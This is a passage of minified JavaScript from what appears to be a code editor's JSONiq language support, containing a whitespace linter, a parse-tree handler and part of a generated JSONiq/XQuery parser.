t.forEach(function(i,s){var o=s===0,u=s===t.length-1;/\\r$/.test(i)&&r.push({pos:{sl:e.pos.sl+s,el:e.pos.sl+s,sc:i.length-1,ec:i.length},type:\"warning\",level:\"warning\",message:\"[SW01] Detected CRLF\"});var a=i.match(/\\t+/);a!==null&&r.push({pos:{sl:e.pos.sl+s,el:e.pos.sl+s,sc:a.index,ec:a.index+a[0].length},type:\"warning\",level:\"warning\",message:\"[SW02] Tabs detected\"});if(!o&&u){a=i.match(/^\\ +/);if(a!==null){var f=a[0].length%n.length;f!==0&&r.push({pos:{sl:e.pos.sl+s,el:e.pos.sl+s,sc:a.index,ec:a.index+a[0].length},type:\"warning\",level:\"warning\",message:\"[SW03] Unexcepted indentation of \"+a[0].length})}}}),!0},this.visit=function(e,t){var n=e.name,r=!1;typeof this[n]==\"function\"&&(r=this[n](e,t)===!0),r||this.visitChildren(e)},this.visitChildren=function(e,t){for(var n=0;n<e.children.length;n++){var r=e.children[n];t!==undefined&&typeof t[r.name]==\"function\"?t[r.name](r):this.visit(r)}},t.split(\"\\n\").forEach(function(e,t){var n=e.match(/\\ +$/);n&&r.push({pos:{sl:t,el:t,sc:n.index,ec:n.index+n[0].length},type:\"warning\",level:\"warning\",message:\"[SW04] Trailing whitespace\"})}),this.visit(e)}},{}],8:[function(e,t,n){n.JSONParseTreeHandler=function(e){\"use strict\";function f(e){return{name:e,children:[],getParent:null,pos:{sl:0,sc:0,el:0,ec:0}}}function l(e){var t=f(e);r===null?(r=t,r.index=[],i=t):(t.getParent=i,i.children.push(t),i=i.children[i.children.length-1])}function c(){if(i.children.length>0){var e=i.children[0],s=null;for(var o=i.children.length-1;o>=0;o--){s=i.children[o];if(s.pos.el!==0||s.pos.ec!==0)break}i.pos.sl=e.pos.sl,i.pos.sc=e.pos.sc,i.pos.el=s.pos.el,i.pos.ec=s.pos.ec}i.name===\"FunctionName\"&&(i.name=\"EQName\"),i.name===\"EQName\"&&i.value===undefined&&(i.value=i.children[0].value,i.children.pop()),t.indexOf(i.name)!==-1&&r.index.push(i),i.getParent!==null&&(i=i.getParent);if(i.children.length>0){var u=i.children[i.children.length-1];u.children.length===1&&n.indexOf(u.name)!==-1&&(i.children[i.children.length-1]=u.children[0])}}function h(e,t,n){var r=n-o;i.value=s.substring(0,r),s=s.substring(r),o=n;var f=a,l=u,c=f+i.value.split(\"\\n\").length-1,h=i.value.lastIndexOf(\"\\n\"),p=h===-1?l+i.value.length:i.value.substring(h+1).length;a=c,u=p,i.pos.sl=f,i.pos.sc=l,i.pos.el=c,i.pos.ec=p}var t=[\"VarDecl\",\"FunctionDecl\"],n=[\"OrExpr\",\"AndExpr\",\"ComparisonExpr\",\"StringConcatExpr\",\"RangeExpr\",\"UnionExpr\",\"IntersectExceptExpr\",\"InstanceofExpr\",\"TreatExpr\",\"CastableExpr\",\"CastExpr\",\"UnaryExpr\",\"ValueExpr\",\"FTContainsExpr\",\"SimpleMapExpr\",\"PathExpr\",\"RelativePathExpr\",\"PostfixExpr\",\"StepExpr\"],r=null,i=null,s=e,o=0,u=0,a=0;this.closeParseTree=function(){while(i.getParent!==null)c();c()},this.peek=function(){return i},this.getParseTree=function(){return r},this.reset=function(){},this.startNonterminal=function(e,t){l(e,t)},this.endNonterminal=function(){c()},this.terminal=function(e,t,n){e=e.substring(0,1)===\"'\"&&e.substring(e.length-1)===\"'\"?\"TOKEN\":e,l(e,t),h(i,t,n),c()},this.whitespace=function(e,t){var n=\"WS\";l(n,e),h(i,e,t),c()}}},{}],9:[function(e,t,n){var r=n.JSONiqParser=function i(e,t){function r(e,t){ic=t,ac=e,fc=e.length,s(0,0,0)}function s(e,t,n){Xl=t,Vl=t,$l=e,Jl=t,Kl=n,Ql=0,cc=n,ec=-1,sc={},ic.reset(ac)}function o(){ic.startNonterminal(\"Module\",Vl);switch($l){case 170:ql(168);break;default:Wl=$l}(Wl==64682||Wl==137898)&&u(),Il(278);switch($l){case 185:ql(146);break;default:Wl=$l}switch(Wl){case 95929:jl(),a();break;default:jl(),Za()}ic.endNonterminal(\"Module\",Vl)}function u(){ic.startNonterminal(\"VersionDecl\",Vl),Pl(170),Il(120);switch($l){case 126:Pl(126),Il(17),Pl(11);break;default:Pl(269),Il(17),Pl(11),Il(113),$l==126&&(Pl(126),Il(17),Pl(11))}Il(29),jl(),c(),ic.endNonterminal(\"VersionDecl\",Vl)}function a(){ic.startNonterminal(\"LibraryModule\",Vl),f(),Il(142),jl(),l(),ic.endNonterminal(\"LibraryModule\",Vl)}function f(){ic.startNonterminal(\"ModuleDecl\",Vl),Pl(185),Il(64),Pl(187),Il(240),jl(),Ga(),Il(30),Pl(61),Il(15),Pl(7),Il(29),jl(),c(),ic.endNonterminal(\"ModuleDecl\",Vl)}function l(){ic.startNonterminal(\"Prolog\",Vl);for(;;){Il(278);switch($l){case 109:ql(207);break;case 155:ql(169);break;default:Wl=$l}if(Wl!=43117&&Wl!=44141&&Wl!=50797&&Wl!=53869&&Wl!=54893&&Wl!=56429&&Wl!=73325&&Wl!=94875&&Wl!=95853&&Wl!=106093&&Wl!=115821&&Wl!=117403)break;switch($l){case 109:ql(201);break;default:Wl=$l}if(Wl==56429){Wl=uc(0,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{_(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(0,Vl,Wl)}}switch(Wl){case-1:jl(),M();break;case 95853:jl(),O();break;case 155:jl(),C();break;case 73325:jl(),D();break;default:jl(),h()}Il(29),jl(),c()}for(;;){Il(278);switch($l){case 109:ql(202);break;default:Wl=$l}if(Wl!=17005&&Wl!=49261&&Wl!=52333&&Wl!=75373&&Wl!=80493&&Wl!=83565&&Wl!=104045&&Wl!=134765&&Wl!=137325)break;switch($l){case 109:ql(197);break;default:Wl=$l}switch(Wl){case 52333:jl(),R();break;case 104045:jl(),Q();break;default:jl(),P()}Il(29),jl(),c()}ic.endNonterminal(\"Prolog\",Vl)}function c(){ic.startNonterminal(\"Separator\",Vl),Pl(54),ic.endNonterminal(\"Separator\",Vl)}function h(){ic.startNonterminal(\"Setter\",Vl);switch($l){case 109:ql(194);break;default:Wl=$l}if(Wl==56429){Wl=uc(1,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{v(),Wl=-2}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),w(),Wl=-6}catch(f){Wl=-9}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(1,Vl,Wl)}}switch(Wl){case 44141:p();break;case-2:d();break;case 43117:m();break;case 50797:g();break;case 106093:y();break;case-6:b();break;case 115821:Io();break;case 53869:E();break;default:T()}ic.endNonterminal(\"Setter\",Vl)}function p(){ic.startNonterminal(\"BoundarySpaceDecl\",Vl),Pl(109),Il(36),Pl(86),Il(137);switch($l){case 218:Pl(218);break;default:Pl(246)}ic.endNonterminal(\"BoundarySpaceDecl\",Vl)}function d(){ic.startNonterminal(\"DefaultCollationDecl\",Vl),Pl(109),Il(49),Pl(110),Il(41),Pl(95),Il(15),Pl(7),ic.endNonterminal(\"DefaultCollationDecl\",Vl)}function v(){Hl(109),Il(49),Hl(110),Il(41),Hl(95),Il(15),Hl(7)}function m(){ic.startNonterminal(\"BaseURIDecl\",Vl),Pl(109),Il(35),Pl(84),Il(15),Pl(7),ic.endNonterminal(\"BaseURIDecl\",Vl)}function g(){ic.startNonterminal(\"ConstructionDecl\",Vl),Pl(109),Il(44),Pl(99),Il(137);switch($l){case 246:Pl(246);break;default:Pl(218)}ic.endNonterminal(\"ConstructionDecl\",Vl)}function y(){ic.startNonterminal(\"OrderingModeDecl\",Vl),Pl(109),Il(71),Pl(207),Il(135);switch($l){case 206:Pl(206);break;default:Pl(262)}ic.endNonterminal(\"OrderingModeDecl\",Vl)}function b(){ic.startNonterminal(\"EmptyOrderDecl\",Vl),Pl(109),Il(49),Pl(110),Il(70),Pl(205),Il(52),Pl(124),Il(125);switch($l){case 149:Pl(149);break;default:Pl(176)}ic.endNonterminal(\"EmptyOrderDecl\",Vl)}function w(){Hl(109),Il(49),Hl(110),Il(70),Hl(205),Il(52),Hl(124),Il(125);switch($l){case 149:Hl(149);break;default:Hl(176)}}function E(){ic.startNonterminal(\"CopyNamespacesDecl\",Vl),Pl(109),Il(47),Pl(105),Il(132),jl(),S(),Il(25),Pl(42),Il(127),jl(),x(),ic.endNonterminal(\"CopyNamespacesDecl\",Vl)}function S(){ic.startNonterminal(\"PreserveMode\",Vl);switch($l){case 218:Pl(218);break;default:Pl(193)}ic.endNonterminal(\"PreserveMode\",Vl)}function x(){ic.startNonterminal(\"InheritMode\",Vl);switch($l){case 159:Pl(159);break;default:Pl(192)}ic.endNonterminal(\"InheritMode\",Vl)}function T(){ic.startNonterminal(\"DecimalFormatDecl\",Vl),Pl(109),Il(118);switch($l){case 107:Pl(107),Il(246),jl(),$a();break;default:Pl(110),Il(48),Pl(107)}for(;;){Il(204);if($l==54)break;jl(),N(),Il(30),Pl(61),Il(17),Pl(11)}ic.endNonterminal(\"DecimalFormatDecl\",Vl)}function N(){ic.startNonterminal(\"DFPropertyName\",Vl);switch($l){case 108:Pl(108);break;case 151:Pl(151);break;case 158:Pl(158);break;case 182:Pl(182);break;case 68:Pl(68);break;case 213:Pl(213);break;case 212:Pl(212);break;case 280:Pl(280);break;case 117:Pl(117);break;default:Pl(211)}ic.endNonterminal(\"DFPropertyName\",Vl)}function C(){ic.startNonterminal(\"Import\",Vl);switch($l){case 155:ql(130);break;default:Wl=$l}switch(Wl){case 117403:k();break;default:A()}ic.endNonterminal(\"Import\",Vl)}function k(){ic.startNonterminal(\"SchemaImport\",Vl),Pl(155),Il(76),Pl(229),Il(141),$l!=7&&(jl(),L()),Il(15),Pl(7),Il(112);if($l==82){Pl(82),Il(15),Pl(7);for(;;){Il(107);if($l!=42)break;Pl(42),Il(15),Pl(7)}}ic.endNonterminal(\"SchemaImport\",Vl)}function L(){ic.startNonterminal(\"SchemaPrefix\",Vl);switch($l){case 187:Pl(187),Il(240),jl(),Ga(),Il(30),Pl(61);break;default:Pl(110),Il(50),Pl(122),Il(64),Pl(187)}ic.endNonterminal(\"SchemaPrefix\",Vl)}function A(){ic.startNonterminal(\"ModuleImport\",Vl),Pl(155),Il(63),Pl(185),Il(93),$l==187&&(Pl(187),Il(240),jl(),Ga(),Il(30),Pl(61)),Il(15),Pl(7),Il(112);if($l==82){Pl(82),Il(15),Pl(7);for(;;){Il(107);if($l!=42)break;Pl(42),Il(15),Pl(7)}}ic.endNonterminal(\"ModuleImport\",Vl)}function O(){ic.startNonterminal(\"NamespaceDecl\",Vl),Pl(109),Il(64),Pl(187),Il(240),jl(),Ga(),Il(30),Pl(61),Il(15),Pl(7),ic.endNonterminal(\"NamespaceDecl\",Vl)}function M(){ic.startNonterminal(\"DefaultNamespaceDecl\",Vl),Pl(109),Il(49),Pl(110),Il(119);switch($l){case 122:Pl(122);break;default:Pl(147)}Il(64),Pl(187),Il(15),Pl(7),ic.endNonterminal(\"DefaultNamespaceDecl\",Vl)}function _(){Hl(109),Il(49),Hl(110),Il(119);switch($l){case 122:Hl(122);break;default:Hl(147)}Il(64),Hl(187),Il(15),Hl(7)}function D(){ic.startNonterminal(\"FTOptionDecl\",Vl),Pl(109),Il(55),Pl(143),Il(84),jl(),Qu(),ic.endNonterminal(\"FTOptionDecl\",Vl)}function P(){ic.startNonterminal(\"AnnotatedDecl\",Vl),Pl(109);for(;;){Il(192);if($l!=33&&$l!=263)break;switch($l){case 263:jl(),H();break;default:jl(),B()}}switch($l){case 268:jl(),F();break;case 147:jl(),_l();break;case 96:jl(),Ca();break;case 157:jl(),Ha();break;default:jl(),Ba()}ic.endNonterminal(\"AnnotatedDecl\",Vl)}function H(){ic.startNonterminal(\"CompatibilityAnnotation\",Vl),Pl(263),ic.endNonterminal(\"CompatibilityAnnotation\",Vl)}function B(){ic.startNonterminal(\"Annotation\",Vl),Pl(33),Il(246),jl(),$a(),Il(193);if($l==35){Pl(35),Il(190),jl(),di();for(;;){Il(105);if($l!=42)break;Pl(42),Il(190),jl(),di()}Pl(38)}ic.endNonterminal(\"Annotation\",Vl)}function j(){Hl(33),Il(246),Ja(),Il(193);if($l==35){Hl(35),Il(190),vi();for(;;){Il(105);if($l!=42)break;Hl(42),Il(190),vi()}Hl(38)}}function F(){ic.startNonterminal(\"VarDecl\",Vl),Pl(268),Il(21),Pl(31),Il(246),jl(),Ti(),Il(157),$l==80&&(jl(),Cs()),Il(110);switch($l){case 53:Pl(53),Il(267),jl(),I();break;default:Pl(134),Il(108),$l==53&&(Pl(53),Il(267),jl(),q())}ic.endNonterminal(\"VarDecl\",Vl)}function I(){ic.startNonterminal(\"VarValue\",Vl),Wf(),ic.endNonterminal(\"VarValue\",Vl)}function q(){ic.startNonterminal(\"VarDefaultValue\",Vl),Wf(),ic.endNonterminal(\"VarDefaultValue\",Vl)}function R(){ic.startNonterminal(\"ContextItemDecl\",Vl),Pl(109),Il(46),Pl(102),Il(58),Pl(167),Il(157),$l==80&&(Pl(80),Il(254),jl(),_s()),Il(110);switch($l){case 53:Pl(53),Il(267),jl(),I();break;default:Pl(134),Il(108),$l==53&&(Pl(53),Il(267),jl(),q())}ic.endNonterminal(\"ContextItemDecl\",Vl)}function U(){ic.startNonterminal(\"ParamList\",Vl),W();for(;;){Il(105);if($l!=42)break;Pl(42),Il(21),jl(),W()}ic.endNonterminal(\"ParamList\",Vl)}function z(){X();for(;;){Il(105);if($l!=42)break;Hl(42),Il(21),X()}}function W(){ic.startNonterminal(\"Param\",Vl),Pl(31),Il(246),jl(),$a(),Il(153),$l==80&&(jl(),Cs()),ic.endNonterminal(\"Param\",Vl)}function X(){Hl(31),Il(246),Ja(),Il(153),$l==80&&ks()}function V(){ic.startNonterminal(\"FunctionBody\",Vl),J(),ic.endNonterminal(\"FunctionBody\",Vl)}function $(){K()}function J(){ic.startNonterminal(\"EnclosedExpr\",Vl),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"EnclosedExpr\",Vl)}function K(){Hl(281),Il(267),Y(),Hl(287)}function Q(){ic.startNonterminal(\"OptionDecl\",Vl),Pl(109),Il(69),Pl(203),Il(246),jl(),$a(),Il(17),Pl(11),ic.endNonterminal(\"OptionDecl\",Vl)}function G(){ic.startNonterminal(\"Expr\",Vl),Wf();for(;;){if($l!=42)break;Pl(42),Il(267),jl(),Wf()}ic.endNonterminal(\"Expr\",Vl)}function Y(){Xf();for(;;){if($l!=42)break;Hl(42),Il(267),Xf()}}function Z(){ic.startNonterminal(\"FLWORExpr\",Vl),tt();for(;;){Il(195);if($l==224)break;jl(),rt()}jl(),rn(),ic.endNonterminal(\"FLWORExpr\",Vl)}function et(){nt();for(;;){Il(195);if($l==224)break;it()}sn()}function tt(){ic.startNonterminal(\"InitialClause\",Vl);switch($l){case 139:ql(151);break;default:Wl=$l}switch(Wl){case 16011:st();break;case 177:vt();break;default:bt()}ic.endNonterminal(\"InitialClause\",Vl)}function nt(){switch($l){case 139:ql(151);break;default:Wl=$l}switch(Wl){case 16011:ot();break;case 177:mt();break;default:wt()}}function rt(){ic.startNonterminal(\"IntermediateClause\",Vl);switch($l){case 139:case 177:tt();break;case 272:It();break;case 150:Rt();break;case 106:jt();break;default:Kt()}ic.endNonterminal(\"IntermediateClause\",Vl)}function it(){switch($l){case 139:case 177:nt();break;case 272:qt();break;case 150:Ut();break;case 106:Ft();break;default:Qt()}}function st(){ic.startNonterminal(\"ForClause\",Vl),Pl(139),Il(21),jl(),ut();for(;;){if($l!=42)break;Pl(42),Il(21),jl(),ut()}ic.endNonterminal(\"ForClause\",Vl)}function ot(){Hl(139),Il(21),at();for(;;){if($l!=42)break;Hl(42),Il(21),at()}}function ut(){ic.startNonterminal(\"ForBinding\",Vl),Pl(31),Il(246),jl(),Ti(),Il(182),$l==80&&(jl(),Cs()),Il(173),$l==73&&(jl(),ft()),Il(160),$l==82&&(jl(),ct()),Il(126),$l==232&&(jl(),pt()),Il(56),Pl(156),Il(267),jl(),Wf(),ic.endNonterminal(\"ForBinding\",Vl)}function at(){Hl(31),Il(246),Ni(),Il(182),$l==80&&ks(),Il(173),$l==73&&lt(),Il(160),$l==82&&ht(),Il(126),$l==232&&dt(),Il(56),Hl(156),Il(267),Xf()}function ft(){ic.startNonterminal(\"AllowingEmpty\",Vl),Pl(73),Il(52),Pl(124),ic.endNonterminal(\"AllowingEmpty\",Vl)}function lt(){Hl(73),Il(52),Hl(124)}function ct(){ic.startNonterminal(\"PositionalVar\",Vl),Pl(82),Il(21),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"PositionalVar\",Vl)}function ht(){Hl(82),Il(21),Hl(31),Il(246),Ni()}function pt(){ic.startNonterminal(\"FTScoreVar\",Vl),Pl(232),Il(21),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"FTScoreVar\",Vl)}function dt(){Hl(232),Il(21),Hl(31),Il(246),Ni()}function vt(){ic.startNonterminal(\"LetClause\",Vl),Pl(177),Il(100),jl(),gt();for(;;){if($l!=42)break;Pl(42),Il(100),jl(),gt()}ic.endNonterminal(\"LetClause\",Vl)}function mt(){Hl(177),Il(100),yt();for(;;){if($l!=42)break;Hl(42),Il(100),yt()}}function gt(){ic.startNonterminal(\"LetBinding\",Vl);switch($l){case 31:Pl(31),Il(246),jl(),Ti(),Il(109),$l==80&&(jl(),Cs());break;default:pt()}Il(28),Pl(53),Il(267),jl(),Wf(),ic.endNonterminal(\"LetBinding\",Vl)}function yt(){switch($l){case 31:Hl(31),Il(246),Ni(),Il(109),$l==80&&ks();break;default:dt()}Il(28),Hl(53),Il(267),Xf()}function bt(){ic.startNonterminal(\"WindowClause\",Vl),Pl(139),Il(139);switch($l){case 257:jl(),Et();break;default:jl(),xt()}ic.endNonterminal(\"WindowClause\",Vl)}function wt(){Hl(139),Il(139);switch($l){case 257:St();break;default:Tt()}}function Et(){ic.startNonterminal(\"TumblingWindowClause\",Vl),Pl(257),Il(88),Pl(275),Il(21),Pl(31),Il(246),jl(),Ti(),Il(114),$l==80&&(jl(),Cs()),Il(56),Pl(156),Il(267),jl(),Wf(),jl(),Nt();if($l==127||$l==202)jl(),kt();ic.endNonterminal(\"TumblingWindowClause\",Vl)}function St(){Hl(257),Il(88),Hl(275),Il(21),Hl(31),Il(246),Ni(),Il(114),$l==80&&ks(),Il(56),Hl(156),Il(267),Xf(),Ct(),($l==127||$l==202)&&Lt()}function xt(){ic.startNonterminal(\"SlidingWindowClause\",Vl),Pl(239),Il(88),Pl(275),Il(21),Pl(31),Il(246),jl(),Ti(),Il(114),$l==80&&(jl(),Cs()),Il(56),Pl(156),Il(267),jl(),Wf(),jl(),Nt(),jl(),kt(),ic.endNonterminal(\"SlidingWindowClause\",Vl)}function Tt(){Hl(239),Il(88),Hl(275),Il(21),Hl(31),Il(246),Ni(),Il(114),$l==80&&ks(),Il(56),Hl(156),Il(267),Xf(),Ct(),Lt()}function Nt(){ic.startNonterminal(\"WindowStartCondition\",Vl),Pl(242),Il(181),jl(),At(),Il(86),Pl(271),Il(267),jl(),Wf(),ic.endNonterminal(\"WindowStartCondition\",Vl)}function Ct(){Hl(242),Il(181),Ot(),Il(86),Hl(271),Il(267),Xf()}function kt(){ic.startNonterminal(\"WindowEndCondition\",Vl),$l==202&&Pl(202),Il(53),Pl(127),Il(181),jl(),At(),Il(86),Pl(271),Il(267),jl(),Wf(),ic.endNonterminal(\"WindowEndCondition\",Vl)}function Lt(){$l==202&&Hl(202),Il(53),Hl(127),Il(181),Ot(),Il(86),Hl(271),Il(267),Xf()}function At(){ic.startNonterminal(\"WindowVars\",Vl),$l==31&&(Pl(31),Il(246),jl(),Mt()),Il(174),$l==82&&(jl(),ct()),Il(163),$l==219&&(Pl(219),Il(21),Pl(31),Il(246),jl(),Dt()),Il(131),$l==190&&(Pl(190),Il(21),Pl(31),Il(246),jl(),Ht()),ic.endNonterminal(\"WindowVars\",Vl)}function Ot(){$l==31&&(Hl(31),Il(246),_t()),Il(174),$l==82&&ht(),Il(163),$l==219&&(Hl(219),Il(21),Hl(31),Il(246),Pt()),Il(131),$l==190&&(Hl(190),Il(21),Hl(31),Il(246),Bt())}function Mt(){ic.startNonterminal(\"CurrentItem\",Vl),$a(),ic.endNonterminal(\"CurrentItem\",Vl)}function _t(){Ja()}function Dt(){ic.startNonterminal(\"PreviousItem\",Vl),$a(),ic.endNonterminal(\"PreviousItem\",Vl)}function Pt(){Ja()}function Ht(){ic.startNonterminal(\"NextItem\",Vl),$a(),ic.endNonterminal(\"NextItem\",Vl)}function Bt(){Ja()}function jt(){ic.startNonterminal(\"CountClause\",Vl),Pl(106),Il(21),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"CountClause\",Vl)}function Ft(){Hl(106),Il(21),Hl(31),Il(246),Ni()}function It(){ic.startNonterminal(\"WhereClause\",Vl),Pl(272),Il(267),jl(),Wf(),ic.endNonterminal(\"WhereClause\",Vl)}function qt(){Hl(272),Il(267),Xf()}function Rt(){ic.startNonterminal(\"GroupByClause\",Vl),Pl(150),Il(37),Pl(88),Il(267),jl(),zt(),ic.endNonterminal(\"GroupByClause\",Vl)}function Ut(){Hl(150),Il(37),Hl(88),Il(267),Wt()}function zt(){ic.startNonterminal(\"GroupingSpecList\",Vl),Xt();for(;;){Il(198);if($l!=42)break;Pl(42),Il(267),jl(),Xt()}ic.endNonterminal(\"GroupingSpecList\",Vl)}function Wt(){Vt();for(;;){Il(198);if($l!=42)break;Hl(42),Il(267),Vt()}}function Xt(){ic.startNonterminal(\"GroupingSpec\",Vl);switch($l){case 31:ql(246);break;default:Wl=$l}if(Wl==3103||Wl==36383||Wl==37407||Wl==37919||Wl==38431||Wl==38943||Wl==39967||Wl==40479||Wl==40991||Wl==41503||Wl==42015||Wl==42527||Wl==43039||Wl==43551||Wl==44063||Wl==44575||Wl==45599||Wl==46111||Wl==46623||Wl==47135||Wl==48159||Wl==48671||Wl==49695||Wl==50207||Wl==50719||Wl==52255||Wl==52767||Wl==53279||Wl==53791||Wl==54303||Wl==54815||Wl==55839||Wl==56351||Wl==56863||Wl==57375||Wl==57887||Wl==58399||Wl==60959||Wl==61471||Wl==61983||Wl==62495||Wl==63007||Wl==63519||Wl==64031||Wl==64543||Wl==65055||Wl==66079||Wl==66591||Wl==67615||Wl==68127||Wl==68639||Wl==69151||Wl==69663||Wl==70175||Wl==70687||Wl==71199||Wl==72735||Wl==73247||Wl==75295||Wl==75807||Wl==76831||Wl==77855||Wl==78367||Wl==78879||Wl==79391||Wl==79903||Wl==80415||Wl==82463||Wl==82975||Wl==83487||Wl==83999||Wl==84511||Wl==85023||Wl==85535||Wl==86047||Wl==86559||Wl==87071||Wl==88607||Wl==89119||Wl==89631||Wl==90655||Wl==91679||Wl==92703||Wl==93727||Wl==94239||Wl==94751||Wl==95775||Wl==96287||Wl==96799||Wl==99359||Wl==99871||Wl==100895||Wl==101407||Wl==103455||Wl==103967||Wl==104479||Wl==104991||Wl==105503||Wl==106015||Wl==107551||Wl==110623||Wl==111135||Wl==112671||Wl==113695||Wl==114207||Wl==114719||Wl==115231||Wl==115743||Wl==116767||Wl==117279||Wl==117791||Wl==118303||Wl==118815||Wl==119327||Wl==119839||Wl==122399||Wl==122911||Wl==123423||Wl==123935||Wl==125471||Wl==126495||Wl==127007||Wl==127519||Wl==129567||Wl==130079||Wl==130591||Wl==131103||Wl==131615||Wl==132127||Wl==132639||Wl==133151||Wl==134175||Wl==134687||Wl==136223||Wl==136735||Wl==137247||Wl==137759||Wl==139295||Wl==139807||Wl==141343){Wl=uc(2,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Jt(),Il(206);if($l==53||$l==80)$l==80&&ks(),Il(28),Hl(53),Il(267),Xf();$l==95&&(Hl(95),Il(15),Hl(7)),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(2,Vl,Wl)}}switch(Wl){case-1:$t(),Il(206);if($l==53||$l==80)$l==80&&(jl(),Cs()),Il(28),Pl(53),Il(267),jl(),Wf();$l==95&&(Pl(95),Il(15),Pl(7));break;default:Wf()}ic.endNonterminal(\"GroupingSpec\",Vl)}function Vt(){switch($l){case 31:ql(246);break;default:Wl=$l}if(Wl==3103||Wl==36383||Wl==37407||Wl==37919||Wl==38431||Wl==38943||Wl==39967||Wl==40479||Wl==40991||Wl==41503||Wl==42015||Wl==42527||Wl==43039||Wl==43551||Wl==44063||Wl==44575||Wl==45599||Wl==46111||Wl==46623||Wl==47135||Wl==48159||Wl==48671||Wl==49695||Wl==50207||Wl==50719||Wl==52255||Wl==52767||Wl==53279||Wl==53791||Wl==54303||Wl==54815||Wl==55839||Wl==56351||Wl==56863||Wl==57375||Wl==57887||Wl==58399||Wl==60959||Wl==61471||Wl==61983||Wl==62495||Wl==63007||Wl==63519||Wl==64031||Wl==64543||Wl==65055||Wl==66079||Wl==66591||Wl==67615||Wl==68127||Wl==68639||Wl==69151||Wl==69663||Wl==70175||Wl==70687||Wl==71199||Wl==72735||Wl==73247||Wl==75295||Wl==75807||Wl==76831||Wl==77855||Wl==78367||Wl==78879||Wl==79391||Wl==79903||Wl==80415||Wl==82463||Wl==82975||Wl==83487||Wl==83999||Wl==84511||Wl==85023||Wl==85535||Wl==86047||Wl==86559||Wl==87071||Wl==88607||Wl==89119||Wl==89631||Wl==90655||Wl==91679||Wl==92703||Wl==93727||Wl==94239||Wl==94751||Wl==95775||Wl==96287||Wl==96799||Wl==99359||Wl==99871||Wl==100895||Wl==101407||Wl==103455||Wl==103967||Wl==104479||Wl==104991||Wl==105503||Wl==106015||Wl==107551||Wl==110623||Wl==111135||Wl==112671||Wl==113695||Wl==114207||Wl==114719||Wl==115231||Wl==115743||Wl==116767||Wl==117279||Wl==117791||Wl==118303||Wl==118815||Wl==119327||Wl==119839||Wl==122399||Wl==122911||Wl==123423||Wl==123935||Wl==125471||Wl==126495||Wl==127007||Wl==127519||Wl==129567||Wl==130079||Wl==130591||Wl==131103||Wl==131615||Wl==132127||Wl==132639||Wl==133151||Wl==134175||Wl==134687||Wl==136223||Wl==136735||Wl==137247||Wl==137759||Wl==139295||Wl==139807||Wl==141343){Wl=uc(2,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Jt(),Il(206);if($l==53||$l==80)$l==80&&ks(),Il(28),Hl(53),Il(267),Xf();$l==95&&(Hl(95),Il(15),Hl(7)),oc(2,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(2,t,-2)}}}switch(Wl){case-1:Jt(),Il(206);if($l==53||$l==80)$l==80&&ks(),Il(28),Hl(53),Il(267),Xf();$l==95&&(Hl(95),Il(15),Hl(7));break;case-3:break;default:Xf()}}function $t(){ic.startNonterminal(\"GroupingVariable\",Vl),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"GroupingVariable\",Vl)}function Jt(){Hl(31),Il(246),Ni()}function Kt(){ic.startNonterminal(\"OrderByClause\",Vl);switch($l){case 205:Pl(205),Il(37),Pl(88);break;default:Pl(241),Il(70),Pl(205),Il(37),Pl(88)}Il(267),jl(),Gt(),ic.endNonterminal(\"OrderByClause\",Vl)}function Qt(){switch($l){case 205:Hl(205),Il(37),Hl(88);break;default:Hl(241),Il(70),Hl(205),Il(37),Hl(88)}Il(267),Yt()}function Gt(){ic.startNonterminal(\"OrderSpecList\",Vl),Zt();for(;;){Il(198);if($l!=42)break;Pl(42),Il(267),jl(),Zt()}ic.endNonterminal(\"OrderSpecList\",Vl)}function Yt(){en();for(;;){Il(198);if($l!=42)break;Hl(42),Il(267),en()}}function Zt(){ic.startNonterminal(\"OrderSpec\",Vl),Wf(),jl(),tn(),ic.endNonterminal(\"OrderSpec\",Vl)}function en(){Xf(),nn()}function tn(){ic.startNonterminal(\"OrderModifier\",Vl);if($l==81||$l==114)switch($l){case 81:Pl(81);break;default:Pl(114)}Il(203);if($l==124){Pl(124),Il(125);switch($l){case 149:Pl(149);break;default:Pl(176)}}Il(199),$l==95&&(Pl(95),Il(15),Pl(7)),ic.endNonterminal(\"OrderModifier\",Vl)}function nn(){if($l==81||$l==114)switch($l){case 81:Hl(81);break;default:Hl(114)}Il(203);if($l==124){Hl(124),Il(125);switch($l){case 149:Hl(149);break;default:Hl(176)}}Il(199),$l==95&&(Hl(95),Il(15),Hl(7))}function rn(){ic.startNonterminal(\"ReturnClause\",Vl),Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"ReturnClause\",Vl)}function sn(){Hl(224),Il(267),Xf()}function on(){ic.startNonterminal(\"QuantifiedExpr\",Vl);switch($l){case 240:Pl(240);break;default:Pl(130)}Il(21),jl(),an();for(;;){if($l!=42)break;Pl(42),Il(21),jl(),an()}Pl(228),Il(267),jl(),Wf(),ic.endNonterminal(\"QuantifiedExpr\",Vl)}function un(){switch($l){case 